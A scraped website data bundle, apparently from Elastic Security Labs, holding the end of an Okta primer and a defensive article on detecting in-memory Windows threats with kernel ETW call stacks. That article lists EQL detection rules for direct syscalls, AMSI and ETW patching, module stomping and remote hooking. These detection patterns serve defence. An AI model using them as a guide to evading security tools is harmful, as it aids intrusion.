Issued tokens like ID and access tokens are securely exchanged among the user\\u2019s browser, Okta, and application servers. Protocols like HTTPS and OAuth 2.0 safeguard these transmissions. Features like token rotation and automatic revocation further bolster security, preventing unauthorized access.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Integrating Okta into an application reshapes its design and security. This offloads significant security responsibilities, allowing developers to focus on core functions. Such integration leads to a modular architecture, where authentication services are separate from application logic.\"}),`\n`,(0,t.jsx)(e.h1,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,t.jsx)(e.p,{children:\"We\\u2019ve unraveled the complexities of Okta\\u2019s architecture and services, providing insights into its role as a leader in modern authentication and authorization. With the platform\\u2019s utilization of protocols like OAuth, OIDC, and SAML, Okta stands at the forefront of scalable, integrated solutions, seamlessly working with platforms such as Azure AD and Google Workspace.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Okta's SaaS design, featuring a RESTful API, makes it a versatile Identity Provider (IdP) and Service Provider (SP). Yet, its popularity also brings potential security vulnerabilities. For cybersecurity professionals, it\\u2019s crucial to grasp Okta\\u2019s complexities to stay ahead of evolving threats. This introduction sets the stage for upcoming deeper analyses of Okta's attack surface, the setup of a threat detection lab, and the exploration of common attacks.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Armed with this knowledge, you\\u2019re now better equipped to analyze, understand, and mitigate the evolving cybersecurity challenges associated with Okta\\u2019s ecosystem.\"})]})}function b(n={}){let{wrapper:e}=n.components||{};return e?(0,t.jsx)(e,Object.assign({},n,{children:(0,t.jsx)(d,n)})):d(n)}var A=b;return k(O);})();\n;return Component;"},"_id":"articles/starter-guide-to-understanding-okta.mdx","_raw":{"sourceFilePath":"articles/starter-guide-to-understanding-okta.mdx","sourceFileName":"starter-guide-to-understanding-okta.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/starter-guide-to-understanding-okta"},"type":"Article","imageUrl":"/assets/images/starter-guide-to-understanding-okta/photo-edited-09.png","readingTime":"36 min read","series":"","url":"/starter-guide-to-understanding-okta","headings":[{"level":2,"title":"Overview of core services","href":"#overview-of-core-services"},{"level":2,"title":"Integration capabilities","href":"#integration-capabilities"},{"level":2,"title":"Customization and management","href":"#customization-and-management"},{"level":2,"title":"Integration with external directories","href":"#integration-with-external-directories"},{"level":2,"title":"Structure and design","href":"#structure-and-design"},{"level":2,"title":"API Security","href":"#api-security"},{"level":3,"title":"OAuth 2.0 and OIDC implementation","href":"#oauth-20-and-oidc-implementation"},{"level":2,"title":"RESTful API and CRUD","href":"#restful-api-and-crud"},{"level":2,"title":"SCIM","href":"#scim"},{"level":2,"title":"Access policies","href":"#access-policies"},{"level":3,"title":"Session initialization and authentication:","href":"#session-initialization-and-authentication"},{"level":3,"title":"Tokens vs cookies:","href":"#tokens-vs-cookies"},{"level":3,"title":"Single sign-on (SSO):","href":"#single-sign-on-sso"},{"level":3,"title":"Session termination:","href":"#session-termination"},{"level":3,"title":"Application sessions and additional controls:","href":"#application-sessions-and-additional-controls"},{"level":2,"title":"OAuth 2.0 and OIDC protocols","href":"#oauth-20-and-oidc-protocols"},{"level":3,"title":"High-level overview of OAuth","href":"#high-level-overview-of-oauth"},{"level":3,"title":"High-level overview of OIDC","href":"#high-level-overview-of-oidc"},{"level":2,"title":"Authorization code flow","href":"#authorization-code-flow"},{"level":3,"title":"Step 1 - Initial authorization request:","href":"#step-1---initial-authorization-request"},{"level":3,"title":"Step 2 - User authentication and consent:","href":"#step-2---user-authentication-and-consent"},{"level":3,"title":"Step 3 - Authorization code reception:","href":"#step-3---authorization-code-reception"},{"level":3,"title":"Step 4 - Redirect URIs and client authentication","href":"#step-4---redirect-uris-and-client-authentication"},{"level":3,"title":"Step 5 - Token exchange","href":"#step-5---token-exchange"},{"level":2,"title":"Access tokens and scopes","href":"#access-tokens-and-scopes"},{"level":3,"title":"Composition of an access token:","href":"#composition-of-an-access-token"},{"level":3,"title":"Scopes and permissions:","href":"#scopes-and-permissions"},{"level":3,"title":"Token lifespan and refresh tokens:","href":"#token-lifespan-and-refresh-tokens"},{"level":3,"title":"Token storage:","href":"#token-storage"},{"level":3,"title":"Security and expiration:","href":"#security-and-expiration"},{"level":2,"title":"Authentication vs authorization","href":"#authentication-vs-authorization"},{"level":2,"title":"SAML in authentication","href":"#saml-in-authentication"},{"level":2,"title":"IdP vs SP responsibilities","href":"#idp-vs-sp-responsibilities"},{"level":2,"title":"Single-factor vs multi-factor authentication","href":"#single-factor-vs-multi-factor-authentication"},{"level":2,"title":"Client-side and server-side communications","href":"#client-side-and-server-side-communications"}],"author":[{"title":"Terrance DeJesus","slug":"terrance-dejesus","description":"Senior Security Research Engineer, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),_=(e,t)=\u003e{for(var n in t)o(e,n,{get:t[n],enumerable:!0})},c=(e,t,n,a)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let s of f(t))!j.call(e,s)\u0026\u0026s!==n\u0026\u0026o(e,s,{get:()=\u003et[s],enumerable:!(a=d(t,s))||a.enumerable});return e};var p=(e,t,n)=\u003e(n=e!=null?x(g(e)):{},c(t||!e||!e.__esModule?o(n,\"default\",{value:e,enumerable:!0}):n,e)),D=e=\u003ec(o({},\"__esModule\",{value:!0}),e);var u=l((F,i)=\u003e{i.exports=_jsx_runtime});var C={};_(C,{default:()=\u003ey,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Terrance DeJesus\",description:\"Senior Security Research Engineer, Elastic\",slug:\"terrance-dejesus\"};function m(e){return(0,r.jsx)(r.Fragment,{})}function h(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(m,e)})):m(e)}var y=h;return D(C);})();\n;return Component;"},"_id":"authors/terrance-dejesus.mdx","_raw":{"sourceFilePath":"authors/terrance-dejesus.mdx","sourceFileName":"terrance-dejesus.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/terrance-dejesus"},"type":"Author","imageUrl":"","url":"/authors/terrance-dejesus"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Doubling Down: Detecting In-Memory Threats with Kernel ETW Call Stacks","slug":"doubling-down-etw-callstacks","date":"2024-01-09","description":"With Elastic Security 8.11, we added further kernel telemetry call stack-based detections to increase efficacy against in-memory threats.","image":"photo-edited-01.png","tags":[{"slug":"security-research"},{"slug":"security-operations"},{"slug":"detection-science"}],"body":{"raw":"\n## Introduction\n\nWe were pleased to see that the [kernel call stack](https://www.elastic.co/security-labs/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks) capability we released in 8.8 was met with [extremely](https://x.com/Kostastsale/status/1664050735166930944) [positive](https://x.com/HackingLZ/status/1663897174806089728) [community feedback](https://twitter.com/bohops/status/1726251988244160776) - both from the offensive research teams attempting to evade us and the defensive teams triaging alerts faster due to the additional [context](https://www.elastic.co/security-labs/peeling-back-the-curtain-with-call-stacks).\n\nBut this was only the first step: We needed to arm defenders with even more visibility from the kernel - the most reliable mechanism to combat user-mode threats. With the introduction of Kernel Patch Protection in x64 Windows, Microsoft created a shared responsibility model where security vendors are now limited to only the kernel visibility and extension points that Microsoft provides. The most notable addition to this visibility is the [Microsoft-Windows-Threat-Intelligence Event Tracing for Windows](https://github.com/jdu2600/Windows10EtwEvents/blob/master/manifest/Microsoft-Windows-Threat-Intelligence.tsv)(ETW) provider.\n\nMicrosoft has identified a handful of highly security-relevant syscalls and provided security vendors with near real-time telemetry of those. While we would strongly prefer inline callbacks that allow synchronous blocking of malicious activity, Microsoft has implicitly not deemed this a necessary security use case yet. Currently, the only filtering mechanism afforded to security vendors for these syscalls is user-mode hooking - and that approach is [inherently](https://blogs.blackberry.com/en/2017/02/universal-unhooking-blinding-security-software) [fragile](https://www.cyberbit.com/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/). At Elastic, we determined that a more robust detection approach based on kernel telemetry collected through ETW would provide greater security benefits than easily bypassed user-mode hooks. That said, kernel ETW does have some [systemic issues](https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs) that we have logged with Microsoft, along with suggested [mitigations](https://www.elastic.co/security-labs/finding-truth-in-the-shadows).\n\n## Implementation\n\nEndpoint telemetry is a careful balance between completeness and cost. Vendors don’t want to balloon your SIEM storage costs unnecessarily, but they also don't want you to miss the critical indicator of compromise. To reduce event volumes for these new API events, we fingerprint each event and only emit it if it is unique. This deduplication ensures a minimal impact on detection fidelity.\n\nHowever, this approach proved insufficient in reducing API event volumes to manageable levels in all environments. Any further global reduction of event volumes we introduced would be a blindspot for our customers. Instead of potentially impairing detection visibility in this fashion, we determined that these highly verbose events would be processed for detections on the host but would not be streamed to the SIEM by default. This approach reduces storage costs for most of our users while also empowering any customer SOCs that want the full fidelity of those events to opt into streaming via an advanced option available in Endpoint policy and implement filtering tailored to their specific environments.\n\nCurrently, we propagate visibility into the following APIs -\n\n - `VirtualAlloc`\n - `VirtualProtect`\n - `MapViewOfFile`\n - `VirtualAllocEx`\n - `VirtualProtectEx`\n - `MapViewOfFile2`\n - `QueueUserAPC` [call stacks not always available due to ETW limitations]\n - `SetThreadContext` [call stacks planned for 8.12]\n - `WriteProcessMemory`\n - `ReadProcessMemory` (lsass) [planned for 8.12]\n\nIn addition to call stack information, our API events are also enriched with several [behaviors](https://github.com/elastic/endpoint-package/blob/main/custom_schemas/custom_api.yml):\n\n| API event | Description |\n|-----|-----|\n| `cross-process` | The observed activity was between two processes. |\n| `native_api` | A call was made directly to the undocumented Native API rather than the supported Win32 API. |\n| `direct_syscall` | A syscall instruction originated outside of the Native API layer. |\n| `proxy_call` | The call stack appears to show a proxied API call to masking the true caller. |\n| `sensitive_api` | Executable non-image memory is unexpectedly calling a sensitive API. |\n| `shellcode` | Suspicious executable non-image memory is calling a sensitive API. |\n| `image-hooked` | An entry in the call stack appears to have been hooked. |\n| `image_indirect_call` | An entry in the call stack was preceded by a call to a dynamically resolved function. |\n| `image_rop` | An entry in the call stack was not preceded by a call instruction. |\n| `image_rwx` | An entry in the call stack is writable. |\n| `unbacked_rwx` | An entry in the call stack is non-image and writable. |\n| `allocate_shellcode` | A region of non-image executable memory suspiciously allocated more executable memory. |\n|`execute_fluctuation` | The PAGE_EXECUTE protection is unexpectedly fluctuating. |\n| `write_fluctuation` | The PAGE_WRITE protection of executable memory is unexpectedly fluctuating. |\n| `hook_api` | A change to the memory protection of a small executable image memory region was made. |\n| `hollow_image` | A change to the memory protection of a large executable image memory region was made. |\n| `hook_unbacked` | A change to the memory protection of a small executable non-image memory was made. |\n| `hollow_unbacked` | A change to the memory protection of a large executable non-image memory was made. |\n| `guarded_code` | Executable memory was unexpectedly marked as PAGE_GUARD.\n| `hidden_code` | Executable memory was unexpectedly marked as PAGE_NOACCESS.\n| `execute_shellcode` | A region of non-image executable memory was executed in an unexpected fashion. |\n| `hardware_breakpoint_set` | A hardware breakpoint was potentially set. |\n\n## New Rules\n\nIn 8.11, Elastic Defend’s behavior protection comes with many new rules against various popular malware techniques, such as shellcode fluctuation, threadless injection, direct syscalls, indirect calls, and AMSI or ETW patching. \n\nThese rules include:\n\n### Windows API Call via Direct Syscall\n\nIdentifies the call of commonly abused Windows APIs to perform code injection and where the call stack is not starting with NTDLL: \n\n```\napi where event.category == \"intrusion_detection\" and\n\n process.Ext.api.behaviors == \"direct_syscall\" and \n\n process.Ext.api.name : (\"VirtualAlloc*\", \"VirtualProtect*\", \n \"MapViewOfFile*\", \"WriteProcessMemory\")\n```\n\n\n\n### VirtualProtect via Random Indirect Syscall\n\nIdentifies calls to the VirtualProtect API and where the call stack is not originating from its equivalent NT syscall NtProtectVirtualMemory:\n\n```\napi where \n\n process.Ext.api.name : \"VirtualProtect*\" and \n\n not _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info: (\"*ntdll.dll!NtProtectVirtualMemory*\", \"*ntdll.dll!ZwProtectVirtualMemory*\")) \n```\n\n\n\n### Image Hollow from Unbacked Memory\n\n```\napi where process.Ext.api.behaviors == \"hollow_image\" and \n\n process.Ext.api.name : \"VirtualProtect*\" and \n\n process.Ext.api.summary : \"*.dll*\" and \n\n process.Ext.api.parameters.size \u003e= 10000 and process.executable != null and \n\n process.thread.Ext.call_stack_summary : \"*Unbacked*\"\n```\n\nBelow example of matches on `wwanmm.dll` module stomping to replace it’s memory content with a malicious payload: \n\n\n\n### AMSI and WLDP Memory Patching\n\nIdentifies attempts to modify the permissions or write to Microsoft Antimalware Scan Interface or the Windows Lock Down Policy related DLLs from memory to modify its behavior for evading malicious content checks: \n\n```\napi where\n\n (\n (process.Ext.api.name : \"VirtualProtect*\" and \n process.Ext.api.parameters.protection : \"*W*\") or\n\n process.Ext.api.name : \"WriteProcessMemory*\"\n ) and\n\n process.Ext.api.summary : (\"* amsi.dll*\", \"* mpoav.dll*\", \"* wldp.dll*\") \n```\n\n\n\n### Evasion via Event Tracing for Windows Patching\n\nIdentifies attempts to patch the Microsoft Event Tracing for Windows via memory modification: \n\n```\napi where process.Ext.api.name : \"WriteProcessMemory*\" and \n\nprocess.Ext.api.summary : (\"*ntdll.dll!Etw*\", \"*ntdll.dll!NtTrace*\") and \n\nnot process.executable : (\"?:\\\\Windows\\\\System32\\\\lsass.exe\", \"\\\\Device\\\\HarddiskVolume*\\\\Windows\\\\System32\\\\lsass.exe\")\n```\n\n\n\n### Windows System Module Remote Hooking\n\nIdentifies attempts to write to a remote process memory to modify NTDLL or Kernelbase modules as a preparation step for stealthy code injection:\n\n```\napi where process.Ext.api.name : \"WriteProcessMemory\" and \n\nprocess.Ext.api.behaviors == \"cross-process\" and \n\nprocess.Ext.api.summary : (\"*ntdll.dll*\", \"*kernelbase.dll*\")\n```\n\nBelow is an example of matches on [ThreadLessInject](https://github.com/CCob/ThreadlessInject), a new process injection technique that involves hooking an export function from a remote process to gain shellcode execution (avoiding the creation of a remote thread):\n\n\n\n## Conclusion\n\nUntil Microsoft provides vendors with kernel callbacks for security-relevant syscalls, Threat-Intelligence ETW will remain the most robust visibility into in-memory threats on Windows. At Elastic, we’re committed to putting that visibility to work for customers and optionally directly into their hands without any hidden filtering assumptions. \n\n[Stay tuned](https://www.elastic.co/guide/en/security/current/release-notes.html) for the call stack features in upcoming releases of Elastic Security. \n\n## Resources\n\n### Rules released with 8.11:\n\n - [AMSI or WLDP Bypass via Memory Patching](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_amsi_or_wldp_bypass_via_memory_patching.toml) \n - [Call Stack Spoofing via Synthetic Frames](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_call_stack_spoofing_via_synthetic_frames.toml)\n - [Evasion via Event Tracing for Windows Patching](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_evasion_via_event_tracing_for_windows_patching.toml)\n - [Memory Protection Modification of an Unsigned DLL](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_memory_protection_modification_of_an_unsigned_dll.toml)\n - [Network Activity from a Stomped Module](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_network_activity_from_a_stomped_module.toml)\n - [Potential Evasion via Invalid Code Signature](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_potential_evasion_via_invalid_code_signature.toml)\n - [Potential Injection via an Exception Handler](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_potential_injection_via_an_exception_handler.toml)\n - [Potential Injection via Asynchronous Procedure Call](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_potential_injection_via_asynchronous_procedure_call.toml)\n - [Potential Thread Call Stack Spoofing](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_potential_thread_call_stack_spoofing.toml)\n - [Remote Process Injection via Mapping](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_remote_process_injection_via_mapping.toml)\n - [Remote Process Manipulation by Suspicious Process](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_remote_process_manipulation_by_suspicious_process.toml)\n - [Remote Thread Context Manipulation](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_remote_thread_context_manipulation.toml)\n - [Suspicious Activity from a Control Panel Applet](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_activity_from_a_control_panel_applet.toml)\n - [Suspicious API Call from a Script Interpreter](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_api_call_from_a_script_interpreter.toml)\n - [Suspicious API from an Unsigned Service DLL](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/persistence_suspicious_api_from_an_unsigned_service_dll.toml)\n - [Suspicious Call Stack Trailing Bytes](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_call_stack_trailing_bytes.toml)\n - [Suspicious Executable Heap Allocation](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_executable_heap_allocation.toml)\n - [Suspicious Executable Memory Permission Modification](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_executable_memory_permission_modification.toml)\n - [Suspicious Memory Protection Fluctuation](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_memory_protection_fluctuation.toml)\n - [Suspicious Memory Write to a Remote Process](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_memory_write_to_a_remote_process.toml)\n - [Suspicious NTDLL Memory Write](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_ntdll_memory_write.toml) \n - [Suspicious Null Terminated Call Stack](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_null_terminated_call_stack.toml)\n - [Suspicious Kernel32 Memory Protection](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_kernel32_memory_protection.toml)\n - [Suspicious Remote Memory Allocation](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_remote_memory_allocation.toml)\n - [Suspicious Windows API Call from Virtual Disk or USB](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_windows_api_call_from_virtual_disk_or_usb.toml)\n - [Suspicious Windows API Call via Direct Syscall](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_windows_api_call_via_direct_syscall.toml)\n - [Suspicious Windows API Call via ROP Gadgets](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_windows_api_call_via_rop_gadgets.toml)\n - [Suspicious Windows API Proxy Call](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_windows_api_proxy_call.toml)\n - [VirtualProtect API Call from an Unsigned DLL](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_virtualprotect_api_call_from_an_unsigned_dll.toml)\n - [VirtualProtect Call via NtTestAlert](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_virtualprotect_call_via_nttestalert.toml)\n - [VirtualProtect via Indirect Random Syscall](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_virtualprotect_via_indirect_random_syscall.toml)\n - [VirtualProtect via ROP Gadgets](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_virtualprotect_via_rop_gadgets.toml)\n - [Windows API via a CallBack Function](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_windows_api_via_a_callback_function.toml) \n - [Windows System Module Remote Hooking](https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_windows_system_module_remote_hooking.toml)\n","code":"var Component=(()=\u003e{var h=Object.create;var l=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,b=Object.prototype.hasOwnProperty;var f=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),_=(t,e)=\u003e{for(var o in e)l(t,o,{get:e[o],enumerable:!0})},r=(t,e,o,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let n of u(e))!b.call(t,n)\u0026\u0026n!==o\u0026\u0026l(t,n,{get:()=\u003ee[n],enumerable:!(a=m(e,n))||a.enumerable});return t};var w=(t,e,o)=\u003e(o=t!=null?h(p(t)):{},r(e||!t||!t.__esModule?l(o,\"default\",{value:t,enumerable:!0}):o,t)),g=t=\u003er(l({},\"__esModule\",{value:!0}),t);var s=f((E,c)=\u003e{c.exports=_jsx_runtime});var x={};_(x,{default:()=\u003ek,frontmatter:()=\u003ev});var i=w(s()),v={title:\"Doubling Down: Detecting In-Memory Threats with Kernel ETW Call Stacks\",slug:\"doubling-down-etw-callstacks\",date:\"2024-01-09\",description:\"With Elastic Security 8.11, we added further kernel telemetry call stack-based detections to increase efficacy against in-memory threats.\",author:[{slug:\"john-uhlmann\"},{slug:\"samir-bousseaden\"}],image:\"photo-edited-01.png\",category:[{slug:\"security-research\"}],tags:[{slug:\"security-research\"},{slug:\"security-operations\"},{slug:\"detection-science\"}]};function d(t){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",ul:\"ul\",li:\"li\",code:\"code\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\",h3:\"h3\",pre:\"pre\",img:\"img\"},t.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.h2,{id:\"introduction\",children:\"Introduction\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"We were pleased to see that the \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks\",rel:\"nofollow\",children:\"kernel call stack\"}),\" capability we released in 8.8 was met with \",(0,i.jsx)(e.a,{href:\"https://x.com/Kostastsale/status/1664050735166930944\",rel:\"nofollow\",children:\"extremely\"}),\" \",(0,i.jsx)(e.a,{href:\"https://x.com/HackingLZ/status/1663897174806089728\",rel:\"nofollow\",children:\"positive\"}),\" \",(0,i.jsx)(e.a,{href:\"https://twitter.com/bohops/status/1726251988244160776\",rel:\"nofollow\",children:\"community feedback\"}),\" - both from the offensive research teams attempting to evade us and the defensive teams triaging alerts faster due to the additional \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/peeling-back-the-curtain-with-call-stacks\",rel:\"nofollow\",children:\"context\"}),\".\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"But this was only the first step: We needed to arm defenders with even more visibility from the kernel - the most reliable mechanism to combat user-mode threats. With the introduction of Kernel Patch Protection in x64 Windows, Microsoft created a shared responsibility model where security vendors are now limited to only the kernel visibility and extension points that Microsoft provides. The most notable addition to this visibility is the \",(0,i.jsx)(e.a,{href:\"https://github.com/jdu2600/Windows10EtwEvents/blob/master/manifest/Microsoft-Windows-Threat-Intelligence.tsv\",rel:\"nofollow\",children:\"Microsoft-Windows-Threat-Intelligence Event Tracing for Windows\"}),\"(ETW) provider.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Microsoft has identified a handful of highly security-relevant syscalls and provided security vendors with near real-time telemetry of those. While we would strongly prefer inline callbacks that allow synchronous blocking of malicious activity, Microsoft has implicitly not deemed this a necessary security use case yet. Currently, the only filtering mechanism afforded to security vendors for these syscalls is user-mode hooking - and that approach is \",(0,i.jsx)(e.a,{href:\"https://blogs.blackberry.com/en/2017/02/universal-unhooking-blinding-security-software\",rel:\"nofollow\",children:\"inherently\"}),\" \",(0,i.jsx)(e.a,{href:\"https://www.cyberbit.com/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/\",rel:\"nofollow\",children:\"fragile\"}),\". At Elastic, we determined that a more robust detection approach based on kernel telemetry collected through ETW would provide greater security benefits than easily bypassed user-mode hooks. That said, kernel ETW does have some \",(0,i.jsx)(e.a,{href:\"https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs\",rel:\"nofollow\",children:\"systemic issues\"}),\" that we have logged with Microsoft, along with suggested \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/finding-truth-in-the-shadows\",rel:\"nofollow\",children:\"mitigations\"}),\".\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"implementation\",children:\"Implementation\"}),`\n`,(0,i.jsx)(e.p,{children:\"Endpoint telemetry is a careful balance between completeness and cost. Vendors don\\u2019t want to balloon your SIEM storage costs unnecessarily, but they also don't want you to miss the critical indicator of compromise. To reduce event volumes for these new API events, we fingerprint each event and only emit it if it is unique. This deduplication ensures a minimal impact on detection fidelity.\"}),`\n`,(0,i.jsx)(e.p,{children:\"However, this approach proved insufficient in reducing API event volumes to manageable levels in all environments. Any further global reduction of event volumes we introduced would be a blindspot for our customers. Instead of potentially impairing detection visibility in this fashion, we determined that these highly verbose events would be processed for detections on the host but would not be streamed to the SIEM by default. This approach reduces storage costs for most of our users while also empowering any customer SOCs that want the full fidelity of those events to opt into streaming via an advanced option available in Endpoint policy and implement filtering tailored to their specific environments.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Currently, we propagate visibility into the following APIs -\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"VirtualAlloc\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"VirtualProtect\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"MapViewOfFile\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"VirtualAllocEx\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"VirtualProtectEx\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"MapViewOfFile2\"})}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"QueueUserAPC\"}),\" [call stacks not always available due to ETW limitations]\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"SetThreadContext\"}),\" [call stacks planned for 8.12]\"]}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"WriteProcessMemory\"})}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"ReadProcessMemory\"}),\" (lsass) [planned for 